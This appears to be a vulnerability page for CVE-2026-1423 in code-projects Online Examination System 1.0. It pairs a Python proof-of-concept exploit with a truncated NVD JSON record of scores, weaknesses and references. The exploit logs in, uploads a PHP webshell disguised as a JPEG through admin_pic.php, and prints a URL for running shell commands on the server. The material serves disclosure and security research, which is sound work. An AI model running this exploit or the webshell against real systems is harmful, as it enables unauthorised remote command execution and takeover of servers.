CVE-2026-1423

import requests import sys # CVE-2026-1423 PoC - Unrestricted File Upload in code-projects Online Examination System 1.0 # Target: /admin_pic.php def exploit(target_url, username, password, webshell_path='shell.php'): """ Exploit for CVE-2026-1423: Unrestricted File Upload in admin_pic.php Args: target_url: Base URL of the vulnerable application username: Valid low-privilege account username password: Valid account password webshell_path: Path to save the uploaded webshell """ # Login to obtain session login_url = f"{target_url}/login.php" session = requests.Session() login_data = { 'email': username, 'password': password } print(f"[*] Attempting login to {login_url}") response = session.post(login_url, data=login_data) if 'admin' not in response.text.lower() and response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Prepare malicious PHP webshell webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>?>" # Upload the webshell via admin_pic.php upload_url = f"{target_url}/admin_pic.php" files = { 'file': (webshell_path, webshell_content, 'image/jpeg') } print(f"[*] Uploading webshell to {upload_url}") response = session.post(upload_url, files=files) # Check if upload was successful if 'upload' in response.text.lower() or response.status_code == 200: print(f"[+] Webshell uploaded successfully!") print(f"[*] Access webshell at: {target_url}/uploads/{webshell_path}") print(f"[*] Example command: {target_url}/uploads/{webshell_path}?cmd=whoami") return True else: print("[-] Upload failed") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit(target, user, passwd)

{"cve": {"id": "CVE-2026-1423", "sourceIdentifier": "[email protected]", "published": "2026-01-26T07:16:07.830", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in code-projects Online Examination System 1.0. Affected by this issue is some unknown functionality of the file /admin_pic.php. Executing a manipulation can lead to unrestricted upload. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en code-projects Online Examination System 1.0. Afectada por este problema es alguna funcionalidad desconocida del archivo /admin_pic.php. Ejecutar una manipulación puede llevar a una carga sin restricciones. El ataque puede realizarse de forma remota. El exploit ha sido divulgado públicamente y puede utilizarse."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_examination_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "A6C25C55-3F57-4D4E-99A4-068A64ECA280"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/geo-chen/code-projects/blob/main/Online%20Examination%20System%20In%20PHP%20With%20Source%20Code.md#finding-3-remote-code-execution-via-unsafe-file-upload", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.342839", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.342839", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/? ... (truncated)